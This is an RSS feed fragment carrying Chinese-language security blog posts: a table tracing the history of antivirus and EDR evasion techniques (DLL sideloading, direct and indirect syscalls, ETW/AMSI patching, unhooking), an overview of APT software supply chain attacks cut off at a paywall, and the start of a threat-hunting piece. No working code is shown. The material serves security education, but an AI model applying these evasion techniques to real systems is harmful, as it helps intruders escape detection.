leaf="">可被主流AV静态+动态检测</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2.0时代</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2021H2-2022H1</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">白加黑+DLL侧载成为标配</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">大幅绕过静态检测，白程序信誉利用</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3.0时代</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2022H2-2023H1</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">引入Direct Syscall+Shellcode多层加密</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">绕过EDR用户态Hook，动态检测难度增加</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">4.0时代</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2023H2-2024</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">Indirect Syscall+ETW/AMSI Patch+Unhooking</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">APT级EDR绕过，行为监控被削弱</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">5.0时代</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2024-2025</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">全栈无文件+Callback执行+AI辅助免杀</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">传统安全产品检测面临极大挑战</span></p></td></tr></tbody></table></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.4 目标行业扩散趋势</span></span></h4><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: justify;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100013016" data-ratio="0.4185185185185185" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f575abc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FM5H82XuSHY5Cd1nMsd9ia9E0L8KQ3xx8ETCHB0mTsY3OpXib3b8ic9QCAhXhXqpcwibjicT5yicdvt0k7wI4yIemmhAsACvldS6JwggrRa2xMnIZ0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="color: rgb(136, 136, 136);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: justify;font-weight: normal;margin: 5px 0px 0px;padding: 0px;"></figcaption></figure><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="49"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4774a0be&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496682%26idx%3D1%26sn%3Dc87f1130dda484ed857c36d7045265d2">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Apr 2026 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>APT攻击之软件供应链攻击技术深度解析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496659&amp;idx=1&amp;sn=619a8e0e848788f7b1cb53cd83597f6b</link>
      <description>APT攻击之软件供应链攻击技术深度解析</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-20 08:30</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=86973911&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY79SBjhMwWAaXcgAfsLpKWv1TicftslBo8cfbic0gEvx04ls3IWaspfwdiamCMZcUfqQ8M2P4lltaMHV1WzpkAXv6zXQjjC5AEvkU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>APT攻击之软件供应链攻击技术深度解析</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin: 0px;padding: 0px 10px;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: justify;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 24px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、引言</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">随着数字化转型的深入推进，软件系统已成为现代社会的核心基础设施，然而，软件供应链的复杂性和不透明性使其成为高级持续性威胁（APT）攻击者的重点目标。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">近年来，SolarWinds、Log4j2、Codecov等重大供应链攻击事件频发，造成了前所未有的安全影响，促使业界重新审视软件供应链安全的重要性。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">本文将从技术角度深度解析APT组织如何利用软件供应链实施攻击，分析典型攻击手法、技术原理及防御策略，为安全从业者提供系统性的参考。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、软件供应链攻击概述</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 什么是软件供应链</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">软件供应链是指软件从开发、构建、分发到部署的全生命周期过程中涉及的所有组件、工具、流程和参与方，主要包括：</span></p><ul style="list-style-type: disc;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">源代码</span></strong><span leaf="">：自主开发代码及第三方库</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">构建工具</span></strong><span leaf="">：编译器、打包工具、CI/CD系统</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">依赖组件</span></strong><span leaf="">：开源库、第三方包、模块</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">分发渠道</span></strong><span leaf="">：代码仓库、包管理器、更新服务器</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">开发环境</span></strong><span leaf="">：IDE、开发工具、测试框架</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 供应链攻击的特点</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">与传统攻击方式相比，软件供应链攻击具有以下显著特点：</span></p><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;text-align: justify;"><table style="display: table;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">特点</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">描述</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">信任链滥用</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">利用用户对供应商的信任，绕过安全检测</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">影响范围广</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">一次攻击可影响下游所有用户</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">隐蔽性强</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">恶意代码隐藏在合法软件中，难以发现</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">持久性好</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">攻击者可长期潜伏，持续窃取数据</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">溯源困难</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">攻击路径复杂，难以追踪攻击源头</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 APT组织青睐供应链攻击的原因</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">APT组织之所以将供应链作为重点攻击目标，主要基于以下考量：</span></p><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">突破边界防护</span></strong><span leaf="">：传统安全防护侧重于网络边界，供应链攻击可从内部突破</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">规模化攻击</span></strong><span leaf="">：一次入侵可影响成千上万的目标组织</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">降低暴露风险</span></strong><span leaf="">：通过合法渠道分发，降低被检测概率</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">长期价值</span></strong><span leaf="">：植入的后门可长期使用，持续获取情报</span></p></li></ol><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">三、典型攻击技术手法</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">3.1 源代码投毒</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">3.1.1 攻击原理</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">攻击者通过入侵代码仓库或开发者账户，在源代码中植入恶意代码。由于代码来自可信源，下游用户在编译或使用时会自动执行恶意载荷。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">3.1.2 技术实现方式</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">方式一：直接代码注入</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 原始代码</span></span><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="27"></mp-pay-preview-filter></p></code></pre></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1e63c004&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496659%26idx%3D1%26sn%3D619a8e0e848788f7b1cb53cd83597f6b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 20 Apr 2026 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>安全运营与应急响应——威胁狩猎与事件处理</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496655&amp;idx=1&amp;sn=c590fadef2ded7014a21ce013d65f473</link>
      <description>一、威胁狩猎1.1 威胁狩猎概述1.1.1 什么是威胁狩猎威胁狩猎（Threat Hunting）是一种主动搜</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-19 20:00</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c89ff9ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY51akGcaEdznkcWRibAWO2yeyibYpJQn8BiaPZhIcOthSib32CsTO2QzzNsnqYgeCcGibwiboCOpnG0g2dIqnJVeoW38KkutlJIQBicgQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、威胁狩猎</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.1 威胁狩猎概述</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.1.1 什么是威胁狩猎</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">威胁狩猎（Threat Hunting）是一种主动搜索网络中潜在威胁的方法，不依赖于传统的告警机制，它基于假设驱动的方法，通过分析数据来发现可能被安全工具遗漏的威胁。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">威胁狩猎的核心价值：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">发现未知威胁：传统安全工具依赖已知特征，威胁狩猎可以发现零日攻击和高级持续性威胁（APT）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">缩短驻留时间：攻击者平均驻留时间超过200天，威胁狩猎可以显著缩短这个时间</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">提升安全态势：通过持续狩猎，了解组织的安全状况，发现防御盲点</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.1.2 威胁狩猎方法论</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 假设驱动方法</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, 